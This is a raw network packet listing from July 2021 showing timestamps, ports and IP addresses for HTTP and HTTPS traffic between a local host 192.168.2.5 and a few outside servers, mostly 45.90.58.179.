Jul 6, 2021 14:31:30.248030901 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248054981 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248086929 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248096943 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248136044 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248151064 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248188019 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248200893 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248235941 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248245001 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248284101 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248296022 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248328924 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248342991 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248366117 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248379946 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248413086 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248428106 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248462915 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248471975 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248503923 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248514891 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248557091 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248564959 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248603106 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248610020 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248651981 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248660088 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248703957 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248713017 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248755932 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248763084 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248795033 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248810053 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248831987 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248842001 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248887062 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248894930 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248936892 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248944998 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.248976946 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.248991013 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.249021053 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.249039888 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.249068022 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.249083042 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.249119043 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.249135017 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.249162912 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.249177933 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.249228001 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.249236107 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.249279022 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286093950 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286132097 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286163092 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286185026 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286210060 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286227942 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286250114 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286263943 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286283970 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286307096 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286324024 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286340952 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286360979 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286370993 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286398888 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286426067 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286458015 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286463976 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286468029 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286478043 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286501884 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286511898 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286544085 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286555052 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286583900 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286592960 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286619902 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286636114 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286653996 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286664009 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286696911 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286703110 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286730051 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286746979 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286767006 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286791086 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286806107 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286824942 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286854029 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286884069 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286914110 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286941051 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.286964893 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.286981106 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.287003994 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.287019968 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.287039995 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.287059069 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.287075043 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.287089109 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.287102938 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.287132025 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.287149906 CEST	80	49815	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:30.287194967 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:30.493891001 CEST	49713	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.493998051 CEST	49714	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.494177103 CEST	49716	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.494215012 CEST	49715	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.494354010 CEST	49718	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.494558096 CEST	49717	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.498090029 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:31:30.498122931 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:31:30.535530090 CEST	443	49713	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.535594940 CEST	443	49714	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.535855055 CEST	443	49716	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.535913944 CEST	443	49715	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.535943031 CEST	443	49718	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.536016941 CEST	443	49718	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.536067963 CEST	443	49718	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.536089897 CEST	443	49715	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.536120892 CEST	443	49715	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.536124945 CEST	49718	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.536130905 CEST	443	49717	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.536139965 CEST	443	49717	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.536144018 CEST	49718	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.536148071 CEST	443	49717	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.536158085 CEST	443	49714	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.536201000 CEST	443	49714	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.536254883 CEST	49715	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.536267042 CEST	49715	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.536273956 CEST	49717	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.536278009 CEST	49717	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.536367893 CEST	49714	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.537213087 CEST	443	49700	104.20.185.68	192.168.2.5
Jul 6, 2021 14:31:30.537275076 CEST	49714	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.537293911 CEST	49700	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:31:30.537668943 CEST	443	49713	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.537734032 CEST	49713	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.537735939 CEST	443	49713	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.537810087 CEST	49713	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.538917065 CEST	443	49716	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.539007902 CEST	49716	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.539074898 CEST	443	49716	151.101.1.44	192.168.2.5
Jul 6, 2021 14:31:30.539130926 CEST	49716	443	192.168.2.5	151.101.1.44
Jul 6, 2021 14:31:30.539154053 CEST	443	49699	104.20.185.68	192.168.2.5
Jul 6, 2021 14:31:30.539313078 CEST	49699	443	192.168.2.5	104.20.185.68
Jul 6, 2021 14:31:31.637948990 CEST	49814	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:31.638031960 CEST	49813	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:31.996606112 CEST	49815	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:32.000116110 CEST	49816	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.696490049 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.697446108 CEST	49818	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.715176105 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.715374947 CEST	49820	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.734891891 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.735085011 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.735594034 CEST	80	49818	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.735742092 CEST	49818	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.736978054 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.752660036 CEST	80	49820	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.752682924 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.752764940 CEST	49820	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.752796888 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.754381895 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.774064064 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.791363001 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.795783043 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.795803070 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.795826912 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.795861959 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.795866966 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.795881987 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.795900106 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.795922041 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.795929909 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.795955896 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.795957088 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.795969009 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.796068907 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.796123981 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.796155930 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.796310902 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.796336889 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.832523108 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832640886 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.832683086 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832714081 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832741022 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832746983 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.832767963 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832771063 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.832794905 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832815886 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832822084 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.832827091 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.832848072 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.832849026 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832871914 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.832875967 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832897902 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832926989 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.832927942 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832942009 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.832957029 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832982063 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.832999945 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.833009005 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.833031893 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.833060026 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.833079100 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.833086967 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.833090067 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.833096027 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.833112955 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.833157063 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.833158016 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.833184958 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.833199024 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.833234072 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870204926 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870242119 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870269060 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870295048 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870321035 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870347977 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870361090 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870374918 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870400906 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870405912 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870428085 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870448112 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870465994 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870477915 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870496035 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870506048 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870507002 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870533943 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870544910 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870559931 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870563030 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870587111 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870596886 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870613098 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870615005 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870637894 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870647907 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870665073 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870667934 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870691061 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870701075 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870716095 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870739937 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870749950 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870759010 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870765924 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870768070 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870791912 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870793104 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870820045 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870826006 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870846033 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870872974 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870896101 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870898008 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870913029 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.870927095 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870945930 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870971918 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.870996952 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.871007919 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.871016026 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.871018887 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.871032000 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.871042967 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.871043921 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.871071100 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.871090889 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.871105909 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.871135950 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.871166945 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.871180058 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.871192932 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.871195078 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.871217966 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.871225119 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.871253014 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.871277094 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.871280909 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.871310949 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908054113 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908103943 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908138037 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908165932 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908186913 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908195019 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908221960 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908231020 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908256054 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908289909 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908292055 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908304930 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908315897 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908332109 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908361912 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908374071 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908423901 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908471107 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908493042 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908507109 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908546925 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908555984 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908574104 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908591032 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908602953 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908622026 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908634901 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908653975 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908662081 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908684015 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908688068 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908704042 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908713102 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908721924 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908741951 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908750057 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908760071 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908780098 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908787966 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908799887 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908814907 CEST	49817	80	192.168.2.5	45.90.58.179
